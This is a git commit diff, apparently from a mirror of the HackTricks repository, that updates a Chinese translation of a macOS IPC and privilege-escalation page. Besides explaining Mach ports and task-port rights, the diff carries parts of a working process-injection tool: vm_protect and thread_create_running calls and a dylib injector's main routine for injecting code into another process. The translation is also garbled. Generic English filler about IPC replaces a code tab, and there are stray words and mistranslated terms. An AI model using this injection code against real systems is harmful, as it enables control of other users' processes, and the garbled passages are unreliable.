mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
4bcadf83b5
commit
f853bbbf63
3 changed files with 192 additions and 148 deletions
|
@ -2,14 +2,14 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
- 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们独家的[NFTs](https://opensea.io/collection/the-peass-family)系列
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
@ -18,54 +18,58 @@
|
|||
|
||||
### 基本信息
|
||||
|
||||
Mach使用**任务**作为共享资源的**最小单位**,每个任务可以包含**多个线程**。这些**任务和线程与POSIX进程和线程一一映射**。
|
||||
Mach使用**任务**作为共享资源的**最小单位**,每个任务可以包含**多个线程**。这些**任务和线程与POSIX进程和线程的映射是1:1**的。
|
||||
|
||||
任务之间的通信通过Mach进程间通信(IPC)进行,利用单向通信通道。**消息在端口之间传递**,端口类似于由内核管理的**消息队列**。
|
||||
|
||||
每个进程都有一个**IPC表**,可以在其中找到**进程的mach端口**。mach端口的名称实际上是一个数字(指向内核对象的指针)。
|
||||
|
||||
一个进程还可以将带有一些权限的端口名称**发送给另一个任务**,内核将使此条目出现在**另一个任务的IPC表**中。
|
||||
进程还可以将带有一些权限的端口名称**发送给另一个任务**,内核将使此条目出现在**另一个任务的IPC表**中。
|
||||
|
||||
### 端口权限
|
||||
|
||||
端口权限定义了任务可以执行的操作,对于这种通信至关重要。可能的**端口权限**包括([此处的定义](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
|
||||
- **接收权限**,允许接收发送到端口的消息。Mach端口是MPSC(多生产者,单消费者)队列,这意味着整个系统中可能只有**一个接收权限**与每个端口相关联(与管道不同,在管道的读端可以有多个进程持有文件描述符)。
|
||||
- 具有**接收权限**的任务可以接收消息并**创建发送权限**,从而允许发送消息。最初,只有**自己的任务**对其端口具有接收权限。
|
||||
- **接收权限**,允许接收发送到端口的消息。Mach端口是MPSC(多生产者,单消费者)队列,这意味着整个系统中可能只有**一个接收权限**与每个端口相关联(与管道不同,多个进程可以持有指向一个管道读端的文件描述符)。
|
||||
- 具有**接收权限**的任务可以接收消息并**创建发送权限**,从而使其能够发送消息。最初,只有**自己的任务**对其端口具有接收权限。
|
||||
- **发送权限**,允许向端口发送消息。
|
||||
- 发送权限可以**克隆**,因此拥有发送权限的任务可以克隆权限并将其授予第三个任务。
|
||||
- **一次性发送权限**,允许向端口发送一条消息,然后消失。
|
||||
- **端口集权限**,表示一个_端口集_而不是单个端口。从端口集中出列消息会从其中一个端口中出列消息。端口集可用于同时监听多个端口,类似于Unix中的`select`/`poll`/`epoll`/`kqueue`。
|
||||
- **死命名**,不是实际的端口权限,而只是一个占位符。当端口被销毁时,所有现有的端口权限将变成死命名。
|
||||
- **端口集权限**,表示一个_端口集_而不是单个端口。从端口集中出列消息会从其中一个包含的端口中出列消息。端口集可用于同时监听多个端口,类似于Unix中的`select`/`poll`/`epoll`/`kqueue`。
|
||||
- **死命名**,不是实际的端口权限,而只是一个占位符。当销毁端口时,所有现有的端口权限都变成死命名。
|
||||
|
||||
**任务可以将发送权限传输给其他任务**,使其能够发送消息回来。**发送权限也可以被克隆**,因此任务可以复制并将权限授予第三个任务。结合一个称为**引导服务器**的中间进程,可以实现任务之间的有效通信。
|
||||
|
||||
### 文件端口
|
||||
|
||||
文件端口允许在Mac端口中封装文件描述符(使用Mach端口权限)。可以使用`fileport_makeport`从给定的FD创建`fileport`,并使用`fileport_makefd`从`fileport`创建FD。
|
||||
|
||||
### 建立通信
|
||||
|
||||
#### 步骤:
|
||||
|
||||
如前所述,为了建立通信通道,**引导服务器**(mac中的**launchd**)参与其中。
|
||||
|
||||
1. 任务**A**初始化一个**新端口**,在该过程中获得了一个**接收权限**。
|
||||
1. 任务**A**初始化一个**新端口**,在进程中获得一个**接收权限**。
|
||||
2. 作为接收权限持有者的任务**A**,为端口**生成一个发送权限**。
|
||||
3. 任务**A**通过引导注册过程与**引导服务器**建立**连接**,提供**端口的服务名称**和**发送权限**。
|
||||
4. 任务**B**与**引导服务器**交互,执行服务名称的引导**查找**。如果成功,**服务器复制从任务A接收的发送权限**并**传输给任务B**。
|
||||
5. 一旦获得发送权限,任务**B**就能够**制定**一条**消息**并将其**发送给任务A**。
|
||||
5. 获得发送权限后,任务**B**能够**制定**消息并将其**发送给任务A**。
|
||||
6. 对于双向通信,通常任务**B**生成一个带有**接收权限**和**发送权限**的新端口,并将**发送权限提供给任务A**,以便其可以向任务B发送消息(双向通信)。
|
||||
|
||||
引导服务器**无法对**任务声称的服务名称进行**身份验证**。这意味着一个**任务**可能潜在地**冒充任何系统任务**,例如虚假**声明授权服务名称**,然后批准每个请求。
|
||||
引导服务器**无法对**任务声称的服务名称进行**身份验证**。这意味着**任务**可能潜在地**冒充任何系统任务**,例如虚假**声明授权服务名称**,然后批准每个请求。
|
||||
|
||||
然后,Apple将**系统提供的服务名称**存储在安全配置文件中,位于**受SIP保护**的目录中:`/System/Library/LaunchDaemons`和`/System/Library/LaunchAgents`。在每个服务名称旁边,还存储了**关联的二进制文件**。引导服务器将为这些预定义服务名称创建并保留**每个服务名称的接收权限**。
|
||||
然后,Apple将**系统提供的服务名称**存储在安全配置文件中,位于受SIP保护的目录:`/System/Library/LaunchDaemons`和`/System/Library/LaunchAgents`。引导服务器将为这些服务名称创建并持有**接收权限**。
|
||||
|
||||
对于这些预定义服务,**查找过程略有不同**。当查找服务名称时,launchd会动态启动服务。新的工作流程如下:
|
||||
|
||||
- 任务**B**启动一个服务名称的引导**查找**。
|
||||
- 任务**B**启动服务名称的引导**查找**。
|
||||
- **launchd**检查任务是否正在运行,如果没有,则**启动**它。
|
||||
- 任务**A**(服务)执行**引导签入**。在这里,**引导**服务器创建一个发送权限,保留它,并**将接收权限传输给任务A**。
|
||||
- launchd复制**发送权限并将其发送给任务B**。
|
||||
- launchd复制**发送权限并发送给任务B**。
|
||||
- 任务**B**生成一个带有**接收权限**和**发送权限**的新端口,并将**发送权限提供给任务A**(服务),以便其可以向任务B发送消息(双向通信)。
|
||||
|
||||
然而,此过程仅适用于预定义的系统任务。非系统任务仍按最初描述的方式运行,这可能潜在地允许冒充。
|
||||
然而,此过程仅适用于预定义的系统任务。非系统任务仍按最初描述的方式运行,这可能导致潜在的冒充。
|
||||
|
||||
### 一个Mach消息
|
||||
|
||||
|
@ -84,28 +88,28 @@ mach_msg_id_t msgh_id;
|
|||
```
|
||||
拥有 _**接收权限**_ 的进程可以在 Mach 端口上接收消息。相反,**发送方** 被授予 _**发送权限**_ 或 _**一次性发送权限**_。一次性发送权限专门用于发送一条消息,之后将变为无效。
|
||||
|
||||
为了实现简单的 **双向通信**,进程可以在 mach **消息头** 中指定一个 **mach 端口**,称为 _回复端口_ (**`msgh_local_port`**),消息的 **接收方** 可以向此消息发送一个回复。**`msgh_bits`** 中的位标志可用于 **指示**应为此端口派生并传输 **一次性发送权限** (`MACH_MSG_TYPE_MAKE_SEND_ONCE`)。
|
||||
为了实现简单的 **双向通信**,进程可以在 mach **消息头** 中指定一个 **mach 端口**,称为 _回复端口_ (**`msgh_local_port`**),消息的 **接收方** 可以向此消息 **发送回复**。`msgh_bits` 中的位标志可用于 **指示**应为此端口派生并传输 **一次性发送权限** (`MACH_MSG_TYPE_MAKE_SEND_ONCE`)。
|
||||
|
||||
{% hint style="success" %}
|
||||
请注意,这种双向通信在期望有回复的 XPC 消息中使用 (`xpc_connection_send_message_with_reply` 和 `xpc_connection_send_message_with_reply_sync`)。但通常会像前面解释的那样创建不同的端口来建立双向通信。
|
||||
请注意,这种双向通信在期望回复的 XPC 消息中使用(`xpc_connection_send_message_with_reply` 和 `xpc_connection_send_message_with_reply_sync`)。但通常会像之前解释的那样创建不同的端口来创建双向通信。
|
||||
{% endhint %}
|
||||
|
||||
消息头的其他字段包括:
|
||||
|
||||
* `msgh_size`:整个数据包的大小。
|
||||
* `msgh_remote_port`:发送此消息的端口。
|
||||
* `msgh_voucher_port`:[mach 凭证](https://robert.sesek.com/2023/6/mach\_vouchers.html)。
|
||||
* `msgh_voucher_port`:[mach 优惠券](https://robert.sesek.com/2023/6/mach\_vouchers.html)。
|
||||
* `msgh_id`:此消息的 ID,由接收方解释。
|
||||
|
||||
{% hint style="danger" %}
|
||||
请注意,**mach 消息通过**_**mach 端口**_ 发送,这是内置于 mach 内核中的 **单接收方**、**多发送方** 通信通道。**多个进程** 可以向 mach 端口发送消息,但在任何时候只有 **一个进程可以读取** 它。
|
||||
请注意,**mach 消息通过一个 \_mach 端口**\__ 发送,这是内置在 mach 内核中的 **单接收方**、**多发送方** 通信通道。**多个进程** 可以向 mach 端口 **发送消息**,但在任何时刻只有 **一个进程可以从中读取**。
|
||||
{% endhint %}
|
||||
|
||||
### 枚举端口
|
||||
```bash
|
||||
lsmp -p <pid>
|
||||
```
|
||||
您可以从[http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz)下载iOS上的工具进行安装。
|
||||
您可以从[http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz)下载iOS上的工具。
|
||||
|
||||
### 代码示例
|
||||
|
||||
|
@ -182,39 +186,27 @@ printf("Text: %s, number: %d\n", message.some_text, message.some_number);
|
|||
|
||||
{% tab title="sender.c" %}
|
||||
|
||||
### macOS IPC - Inter-Process Communication
|
||||
## macOS IPC - Inter-Process Communication
|
||||
|
||||
Inter-Process Communication (IPC) is a mechanism that allows processes to communicate and share data with each other. In macOS, IPC can be achieved using various techniques such as Mach messages, XPC services, and Distributed Objects.
|
||||
### Introduction
|
||||
|
||||
#### Mach Messages
|
||||
Inter-Process Communication (IPC) is a mechanism that allows processes to communicate and share data with each other. macOS provides several IPC mechanisms, such as Mach ports, XPC services, and Distributed Objects. Understanding how IPC works is crucial for developing secure and efficient macOS applications.
|
||||
|
||||
Mach messages are a low-level IPC mechanism in macOS that allows processes to send messages to each other. This can be used for inter-process communication within the same system or across different systems.
|
||||
### Mach Ports
|
||||
|
||||
#### XPC Services
|
||||
Mach ports are a fundamental IPC mechanism in macOS. They allow processes to send messages and data to each other. Mach ports are used by various system services and frameworks to communicate with eachjsonother. Developers can also use Mach ports to establish communication between their own processes.
|
||||
|
||||
XPC Services are a higher-level IPC mechanism in macOS that allows processes to communicate with each other using a client-server model. This can be used to create secure and sandboxed inter-process communication.
|
||||
### XPC Services
|
||||
|
||||
#### Distributed Objects
|
||||
XPC Services are a high-level IPC mechanism provided by macOS. They allow developers to create separate processes that can communicate with each other. XPC Services are commonly used for implementing background tasks and services in macOS applications.
|
||||
|
||||
Distributed Objects is another IPC mechanism in macOS that allows objects to be passed between processes. This can be used to share complex data structures between processes.
|
||||
### Distributed Objects
|
||||
|
||||
Understanding these IPC mechanisms is crucial for developing secure and efficient macOS applications that require inter-process communication. By leveraging these techniques, developers can ensure that data is shared between processes in a controlled and secure manner.
|
||||
Distributed Objects is another IPC mechanism in macOS that allows objects to be passed between processes. It enables developers to create distributed applications where objects can reside in different processes and communicate with each other transparently.
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <mach/mach.h>
|
||||
### Conclusion
|
||||
|
||||
int main() {
|
||||
mach_port_t port;
|
||||
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to allocate port: %s\n", mach_error_string(kr));
|
||||
return 1;
|
||||
}
|
||||
printf("Port allocated: %d\n", port);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Understanding macOS IPC mechanisms is essential for building robust and secure applications. By leveraging IPC effectively, developers can create efficient and reliable macOS applications that provide a seamless user experience.
|
||||
|
||||
{% endtab %}
|
||||
```c
|
||||
|
@ -272,13 +264,13 @@ printf("Sent a message\n");
|
|||
|
||||
- **主机端口**:如果一个进程对这个端口有**发送**权限,他可以获取关于**系统**的**信息**(例如`host_processor_info`)。
|
||||
- **主机特权端口**:拥有对这个端口的**发送**权限的进程可以执行像加载内核扩展这样的**特权操作**。**进程需要是root**才能获得这个权限。
|
||||
- 此外,为了调用**`kext_request`** API,需要具有其他授权**`com.apple.private.kext*`**,这些授权仅分配给苹果二进制文件。
|
||||
- **任务名称端口**:_任务端口_的非特权版本。它引用任务,但不允许控制它。通过它似乎只能使用`task_info()`。
|
||||
- **任务端口**(又名内核端口)**:拥有对此端口的发送权限,可以控制任务(读/写内存,创建线程等)。
|
||||
- 调用`mach_task_self()`为调用者任务**获取此端口的名称**。此端口仅在**`exec()`**跨进程继承;使用`fork()`创建的新任务会获得一个新的任务端口(作为一个特例,在suid二进制文件中的`exec()`后,任务也会获得一个新的任务端口)。生成任务并获取其端口的唯一方法是在执行`fork()`时执行["端口交换舞蹈"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html)。
|
||||
- 访问端口的限制(来自二进制文件`AppleMobileFileIntegrity`的`macos_task_policy`)如下:
|
||||
- 如果应用程序具有**`com.apple.security.get-task-allow`授权**,来自**相同用户的进程可以访问任务端口**(通常由Xcode用于调试)。**经过验证**的过程不会允许将其用于生产发布。
|
||||
- 具有**`com.apple.system-task-ports`授权**的应用程序可以获取任何进程的**任务端口**,除了内核。在旧版本中,它被称为**`task_for_pid-allow`**。这仅授予给苹果应用程序。
|
||||
- 此外,为了调用**`kext_request`** API,需要拥有其他授权**`com.apple.private.kext*`**,这些授权只赋予给苹果的二进制文件。
|
||||
- **任务名称端口**:_任务端口_的非特权版本。它引用了任务,但不允许控制它。似乎唯一可以通过它获得的是`task_info()`。
|
||||
- **任务端口**(又称内核端口)**:拥有对这个端口的发送权限可以控制任务(读/写内存,创建线程等)。
|
||||
- 调用`mach_task_self()`来为调用者任务获取此端口的**名称**。此端口仅在**`exec()`**跨进程继承;使用`fork()`创建的新任务会获得一个新的任务端口(作为一个特例,在suid二进制文件中`exec()`后任务也会获得一个新的任务端口)。生成任务并获取其端口的唯一方法是在执行`fork()`时执行["端口交换舞蹈"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html)。
|
||||
- 访问端口的限制(来自二进制文件`AppleMobileFileIntegrity`的`macos_task_policy`):
|
||||
- 如果应用程序具有**`com.apple.security.get-task-allow`授权**,来自**相同用户的进程可以访问任务端口**(通常由Xcode用于调试)。**经过公证的**进程不会允许将其用于生产发布。
|
||||
- 具有**`com.apple.system-task-ports`授权**的应用程序可以获取任何进程的**任务端口**,除了内核。在旧版本中它被称为**`task_for_pid-allow`**。这仅授予给苹果应用程序。
|
||||
- **Root可以访问**未使用**强化**运行时编译的应用程序的任务端口(且不是来自苹果)。
|
||||
|
||||
### 通过任务端口在线程中注入Shellcode
|
||||
|
@ -288,9 +280,6 @@ printf("Sent a message\n");
|
|||
{% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
|
||||
[arm64-basic-assembly.md](../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="mysleep.m" %}
|
||||
```objectivec
|
||||
// clang -framework Foundation mysleep.m -o mysleep
|
||||
// codesign --entitlements entitlements.plist -s - mysleep
|
||||
|
@ -326,27 +315,26 @@ return 0;
|
|||
|
||||
## macOS IPC (Inter-Process Communication)
|
||||
|
||||
### Introduction
|
||||
### macOS IPC Mechanisms
|
||||
|
||||
Inter-Process Communication (IPC) mechanisms are essential for processes to communicate with each other on macOS. These mechanisms include Mach ports, XPC services, and Distributed Objects. Understanding how IPC works is crucial for both developers and security professionals to ensure secure communication between processes.
|
||||
macOS provides several mechanisms for inter-process communication (IPC), including:
|
||||
|
||||
### Mach Ports
|
||||
- **Mach Messages**: Low-level messaging system used by the kernel and various system services.
|
||||
- **XPC Services**: High-level API for creating and managing inter-process communication.
|
||||
- **Distributed Objects**: Deprecated framework for IPC, replaced by XPC Services.
|
||||
- **Apple Events**: Inter-application communication mechanism using Apple events.
|
||||
|
||||
Mach ports are the fundamental IPC mechanism in macOS. They allow processes to send messages and data between each other. Each Mach port has a unique port name and can be used for various purposes, such as inter-process communication, synchronization, and task control.
|
||||
### IPC Security Considerations
|
||||
|
||||
### XPC Services
|
||||
When designing applications that use IPC mechanisms, consider the following security best practices:
|
||||
|
||||
XPC (XPC Services) is a lightweight IPC mechanism introduced in macOS X Snow Leopard. XPC services allow processes to communicate with each other securely. They are commonly used for implementing privileged helper tools and background services.
|
||||
- **Use Secure Communication**: Encrypt sensitive data transmitted via IPC.
|
||||
- **Validate Input**: Sanitize and validate input received through IPC to prevent injection attacks.
|
||||
- **Implement Access Controls**: Use entitlements and permissions to restrict access to IPC endpoints.
|
||||
- **Avoid Trusting IPC Data**: Treat data received through IPC as untrusted and validate it before use.
|
||||
- **Monitor IPC Traffic**: Monitor IPC communications for suspicious activity or unauthorized access.
|
||||
|
||||
### Distributed Objects
|
||||
|
||||
Distributed Objects is an IPC mechanism that allows objects to be passed between processes. It enables remote procedure calls and object serialization, making it easier for processes to interact with each other. Distributed Objects are commonly used in macOS applications for inter-process communication.
|
||||
|
||||
Understanding these IPC mechanisms and how they are used in macOS applications is essential for securing the communication between processes and preventing privilege escalation attacks.
|
||||
|
||||
### Conclusion
|
||||
|
||||
Inter-Process Communication is a critical aspect of macOS security. By understanding the different IPC mechanisms and how they are used in applications, developers and security professionals can ensure secure communication between processes and prevent potential security vulnerabilities.
|
||||
By following these best practices, you can enhance the security of your macOS applications that utilize IPC mechanisms.
|
||||
|
||||
{% endtab %}
|
||||
```xml
|
||||
|
@ -361,7 +349,7 @@ Inter-Process Communication is a critical aspect of macOS security. By understan
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
**编译**前面的程序并添加**权限**以能够使用相同用户注入代码(如果不行,您将需要使用**sudo**)。
|
||||
**编译**前面的程序并添加**权限**以能够使用相同用户注入代码(如果不是,则需要使用**sudo**)。
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -569,16 +557,16 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
|||
```
|
||||
### 通过任务端口在线程中进行Dylib注入
|
||||
|
||||
在 macOS 中,**线程** 可能通过 **Mach** 或使用 **posix `pthread` api** 进行操作。我们在之前的注入中生成的线程是使用 Mach api 生成的,因此**不符合 posix 标准**。
|
||||
在 macOS 中,**线程** 可能通过 **Mach** 或使用 **posix `pthread` api** 进行操作。我们在前面的注入中生成的线程是使用 Mach api 生成的,因此**不符合 posix 标准**。
|
||||
|
||||
可以**注入简单的 shellcode** 来执行命令,因为它**不需要与 posix 兼容的 api 一起工作**,只需要与 Mach 一起。**更复杂的注入** 需要**线程** 也符合 **posix 标准**。
|
||||
|
||||
因此,为了**改进线程**,应该调用 **`pthread_create_from_mach_thread`**,这将**创建一个有效的 pthread**。然后,这个新的 pthread 可以**调用 dlopen** 来**从系统加载 dylib**,因此,不需要编写新的 shellcode 来执行不同的操作,可以加载自定义库。
|
||||
因此,为了**改进线程**,应该调用 **`pthread_create_from_mach_thread`**,这将**创建一个有效的 pthread**。然后,这个新的 pthread 可以**调用 dlopen** 从系统中**加载一个 dylib**,因此,不需要编写新的 shellcode 来执行不同的操作,可以加载自定义库。
|
||||
|
||||
您可以在这里找到**示例 dylibs**(例如生成日志然后您可以监听它的 dylib):
|
||||
|
||||
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
|
||||
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert_libraries.md)
|
||||
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
@ -783,32 +771,33 @@ return (-3);
|
|||
|
||||
|
||||
// Set the permissions on the allocated code memory
|
||||
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
|
||||
```c
|
||||
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
|
||||
fprintf(stderr,"无法为远程线程的代码设置内存权限:错误 %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
// Set the permissions on the allocated stack memory
|
||||
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
|
||||
// 设置分配的堆栈内存的权限
|
||||
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
|
||||
fprintf(stderr,"无法为远程线程的堆栈设置内存权限:错误 %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
|
||||
// Create thread to run shellcode
|
||||
// 创建线程以运行shellcode
|
||||
struct arm_unified_thread_state remoteThreadState64;
|
||||
thread_act_t remoteThread;
|
||||
thread_act_t remoteThread;
|
||||
|
||||
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
|
||||
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64));
|
||||
|
||||
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
|
||||
//remoteStack64 -= 8; // need alignment of 16
|
||||
remoteStack64 += (STACK_SIZE / 2); // 这是真正的堆栈
|
||||
//remoteStack64 -= 8; // 需要16字节对齐
|
||||
|
||||
const char* p = (const char*) remoteCode64;
|
||||
|
||||
|
@ -817,13 +806,13 @@ remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
|
|||
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
|
||||
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
|
||||
|
||||
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
|
||||
printf ("远程堆栈 64 0x%llx,远程代码是 %p\n", remoteStack64, p );
|
||||
|
||||
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
|
||||
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
|
||||
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
|
||||
fprintf(stderr,"无法创建远程线程:错误 %s", mach_error_string (kr));
|
||||
return (-3);
|
||||
}
|
||||
|
||||
|
@ -836,8 +825,8 @@ int main(int argc, const char * argv[])
|
|||
{
|
||||
if (argc < 3)
|
||||
{
|
||||
fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]);
|
||||
fprintf (stderr, " _action_: path to a dylib on disk\n");
|
||||
fprintf (stderr, "用法:%s _pid_ _action_\n", argv[0]);
|
||||
fprintf (stderr, " _action_: 磁盘上dylib的路径\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
|
@ -849,12 +838,16 @@ int rc = stat (action, &buf);
|
|||
if (rc == 0) inject(pid,action);
|
||||
else
|
||||
{
|
||||
fprintf(stderr,"Dylib not found\n");
|
||||
fprintf(stderr,"未找到Dylib\n");
|
||||
}
|
||||
|
||||
}
|
||||
```
|
||||
</details>
|
||||
</details>
|
||||
|
||||
### macOS IPC (Inter-Process Communication)
|
||||
|
||||
Inter-Process Communication (IPC) mechanisms are essential for processes to communicate with each other. macOS provides various IPC mechanisms such as Mach ports, XPC services, and UNIX domain sockets. Understanding how these mechanisms work is crucial for both developers and security professionals to ensure secure communication between processes.
|
||||
```bash
|
||||
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
||||
./inject <pid-of-mysleep> </path/to/lib.dylib>
|
||||
|
@ -879,7 +872,7 @@ XPC代表XNU(macOS使用的内核)进程间通信,是macOS和iOS上进程
|
|||
[macos-xpc](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## MIG - Mach Interface Generator
|
||||
## MIG - Mach接口生成器
|
||||
|
||||
MIG旨在简化Mach IPC代码创建过程。它基本上为服务器和客户端生成所需的通信代码。即使生成的代码很丑陋,开发人员只需导入它,他的代码将比以前简单得多。
|
||||
|
||||
|
@ -903,10 +896,10 @@ MIG旨在简化Mach IPC代码创建过程。它基本上为服务器和客户端
|
|||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的公司广告或下载PDF版本,请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* 如果您想在HackTricks中看到您的公司广告或**下载PDF版HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们独家NFT收藏品的集合
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
|
||||
* 发现[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,10 +6,10 @@
|
|||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
@ -22,22 +22,22 @@
|
|||
* **/dev**:一切都被视为文件,因此您可能会在此处看到存储的硬件设备。
|
||||
* **/etc**:配置文件
|
||||
* **/Library**:可以在此处找到许多与首选项、缓存和日志相关的子目录和文件。根目录和每个用户目录中都存在一个Library文件夹。
|
||||
* **/private**:未记录,但许多提到的文件夹是符号链接到private目录。
|
||||
* **/private**:未记录,但许多提到的文件夹是指向私有目录的符号链接。
|
||||
* **/sbin**:基本系统二进制文件(与管理相关)
|
||||
* **/System**:使OS X运行的文件。您应该在这里主要找到Apple特定的文件(而不是第三方文件)。
|
||||
* **/tmp**:文件将在3天后被删除(这是指向/private/tmp的软链接)
|
||||
* **/tmp**:文件在3天后被删除(这是指向/private/tmp的软链接)
|
||||
* **/Users**:用户的主目录。
|
||||
* **/usr**:配置和系统二进制文件
|
||||
* **/var**:日志文件
|
||||
